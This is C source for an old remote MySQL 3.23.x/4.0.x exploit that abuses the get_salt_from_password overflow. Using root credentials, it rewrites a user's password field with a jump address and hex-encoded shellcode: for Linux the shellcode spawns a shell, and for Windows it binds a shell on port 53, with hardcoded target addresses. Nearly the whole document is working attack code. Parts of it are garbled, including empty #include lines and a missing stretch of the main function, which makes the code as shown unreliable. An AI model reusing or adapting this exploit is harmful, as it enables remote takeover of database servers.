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Mysql 3.23.x/4.0.x Remote mysql privileges Exploit
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/* exp for mysql ([get_salt_from_password] problem)
* proof of concept
* using jmp *eax for linux
* using jmp *edx for windows
* bkbll(bkbll_at_cnhonker.net,bkbll_at_tom.com) 2003/09/13
* Welcome to www cnhonker com
* compile:gcc -o mysql mysql.c -L/usr/lib/mysql -lmysqlclient
*/
#include
#include
#include
#include
#include
#include
#include
#include
#include
#define ROOTUSER "root"
#define PORT 3306
#define MYDB "mysql"
#define ALTCOLUMSQL "ALTER TABLE user CHANGE COLUMN Password Password LONGTEXT"
#define LISTUSERSQL "SELECT user FROM mysql.user WHERE user!='root' LIMIT 0,1"
#define FLUSHSQL "\x11\x00\x00\x00\x03\x66\x6C\x75\x73\x68\x20\x70\x72\x69\x76\x69\x6C\x65\x67\x65\x73"
#define BUF 2048
#define VER "2.0b4"
MYSQL *conn;
char NOP[]="90";
char linux_shellcode[]=
"db31c03102b0c931"
"c08580cdc3893474"
"d231c03180cd07b0"
"40b0c03109b180cd"
"c031c38980cd25b0"
"80c2fe43f07203fa"
"14b0c031c38980cd"
"c931c03125b009b1"
"17b080cdc03180cd"
"89504050b0c931e3"
"b180cda283c889e0"
"d0f70ae831c78940"
"894c40c0525050e2"
"4c8d5157db310424"
"66b00ab3835980cd"
"057501f874493a80"
"31d2e209c38940c0"
"fb8980cd3fb003b1"
"4180cd496851f8e2"
"68732f6e622f2f68"
"51e389696c692d68"
"51e28970e1895352"
"c031d23180cd0bb0"
;
//bind on 53 port
char win_shellcode[]=
"4A5A10EBB966C9333480017DFAE2990A"
"EBE805EB70FFFFFF99999895A938FDC3"
"12999999E91295D9D912348512411291"
"ED12A5EA6A9AE1879AB9E7128DD71262"
"CECF74AA9AA612C8F36B12623F6AC097"
"C6C091EDDC9D5E1AC6C0707B125412C7"
"5A9ABDDF589A784812FF50AA85DF1291"
"78585A9A12589A9B125A9A991A6E1263"
"4912975F71C09AF39999991ECB945F1A"
"65CE66CFF34112C3ED71C09CC9999999"
"F3C9C9C9669BF398411275CE999B9E5E"
"59AAAC99F39DDE1066CACE8998F369CE"
"6DCE66CA66CAC9C9491261CE12DD751A"
"F359AA6D9D10C08910627B17CF10A1CF"
"D9CF10A5B5DF5EFFDE149898AACFC989"
"C8C8C850C8C898F3FAA5DE5E1499FDF4"
"C8C9A5DECB79CE66CA65CE66C965CE66"
"AA7DCE66591C3559CBC860EC4B66CACF"
"7B32C0C35A59AA7766677671EDFCDE66"
"FAF6EBC9EBFDFDD899EAEAFCF8FCEBDA"
"EBC9FCEDEAFCFAF6DC99D8EACDEDF0E1"
"F8FCEBF1F6D599FDF0D5FDF8EBF8EBFB"
"EE99D8E0AAC6ABEACACE99ABFAF6CAD8"
"D8EDFCF2F7F0FB99F0F599FDF7FCEDEA"
"FAFAF89999EDE9FCEAF6F5FAFAF6EAFC"
"99EDFCF2";
int win_port=53;
int type=1;
struct
{
char *os;
u_long ret;
int pad;
int systemtype; //0 is linux,1 is windows
} targets[] =
{
{ "linux:glibc-2.2.93-5", 0x42125b2b,19*4*2,0},
// { "windows2000 SP3 CN",0x77e625db,9*4*2,1},
{ "windows2000 SP4 CN",0x77e7bec3,9*4*2,1},
},v;
void usage(char *);
void sqlerror(char *);
MYSQL *mysqlconn(char *server,int port,char *user,char *pass,char *dbname);
main(int argc,char **argv)
{
MYSQL_RES *result;
MYSQL_ROW row;
char jmpaddress[8];
char buffer[BUF],muser[20],buf2[1200];
my_ulonglong rslines;
struct sockaddr_in clisocket;
int i=0,j,clifd,count,a;
char data1,c;
fd_set fds;
char *server=NULL,*rootpass=NULL;
int pad,systemtype;
u_long jmpaddr;
if(argc<3) usage(argv[0]);
while((c = getopt(argc, argv, "d:t:p:"))!= EOF)
{
switch (c)
{
case 'd':
server=optarg;
break;
case 't':
type = atoi(optarg);
if((type > sizeof(targets)/sizeof(v)) || (type < 1))
usage(argv[0]);
break;
case 'p':
rootpass=optarg;
break;
default:
usage(argv[0]);
return 1;
}
}
if(server==NULL || rootpass==NULL)
usage(argv[0]);
memset(muser,0,20);
memset(buf2,0,1200);
pad=targets[type-1].pad;
systemtype=targets[type-1].systemtype;
jmpaddr=targets[type-1].ret;
printf("@-------------------------------------------------@\n");
printf("# Mysql 3.23.x/4.0.x remote exploit(09/13)-%s #\n",VER);
printf("@ by bkbll(bkbll_at_cnhonker.net,bkbll_at_tom.com @\n");
printf("---------------------------------------------------\n");
printf("[+] system type:%s,using ret addr:%p,pad:%d\n",(systemtype==0)?"linux":"windows",jmpaddr,pad);
printf("[+] Connecting to mysql server %s:%d....",server,PORT);
fflush(stdout);
conn=mysqlconn(server,PORT,ROOTUSER,rootpass,MYDB);
if(conn==NULL) exit(0);
printf("ok\n");
printf("[+] ALTER user column...");
fflush(stdout);
if(mysql_real_query(conn,ALTCOLUMSQL,strlen(ALTCOLUMSQL))!=0)
sqlerror("ALTER user table failed");
//select
printf("ok\n");
printf("[+] Select a valid user...");
fflush(stdout);
if(mysql_real_query(conn,LISTUSERSQL,strlen(LISTUSERSQL))!=0)
sqlerror("select user from table failed");
result=mysql_store_result(conn);
if(result==NULL)
sqlerror("store result error");
rslines=mysql_num_rows(result);
if(rslines==0)
sqlerror("Cannot find a user");
row=mysql_fetch_row(result);
snprintf(muser,19,"%s",row[0]);
printf("ok\n");
printf("[+] Found a user:%s\n",muser);
memset(buffer,0,BUF);
i=sprintf(buffer,"update user set password='");
sprintf(jmpaddress,"%x",jmpaddr);
jmpaddress[8]=0;
for(j=0;j -p -t \n",s);
printf(" -d target host ip/name\n");
printf(" -p 'root' user paasword\n");
printf(" -t type [default:%d]\n",type);
printf(" ------------------------------\n");
for(a = 0; a < sizeof(targets)/sizeof(v); a++)
printf(" %d [0x%.8x]: %s\n", a+1, targets[a].ret, targets[a].os);
printf("\n");
exit(0);
}
MYSQL *mysqlconn(char *server,int port,char *user,char *pass,char *dbname)
{
MYSQL *connect;
connect=mysql_init(NULL);
if(connect==NULL)
{
printf("FAILED\n[-] init mysql failed:%s\n",mysql_error(connect));
return NULL;
}
if(mysql_real_connect(connect,server,user,pass,dbname,port,NULL,0)==NULL)
{
printf("FAILED\n[-] Error: %s\n",mysql_error(connect));
return NULL;
}
return connect;
}
void sqlerror(char *s)
{
fprintf(stderr,"FAILED\n[-] %s:%s\n",s,mysql_error(conn));
mysql_close(conn);
exit(0);
}
int client_connect(int sockfd,char* server,int port)
{
struct sockaddr_in cliaddr;
struct hostent *host;
if((host=gethostbyname(server))==NULL)
{
printf("gethostbyname(%s) error\n",server);
return(-1);
}
bzero(&cliaddr,sizeof(struct sockaddr));
cliaddr.sin_family=AF_INET;
cliaddr.sin_port=htons(port);
cliaddr.sin_addr=*((struct in_addr *)host->h_addr);
printf("[+] Trying %s:%d....",server,port);
fflush(stdout);
if(connect(sockfd,(struct sockaddr *)&cliaddr,sizeof(struct sockaddr))<0)
{
printf("error:%s\r\n",strerror(errno));
return(-1);
}
printf("ok\r\n");
return(0);
}
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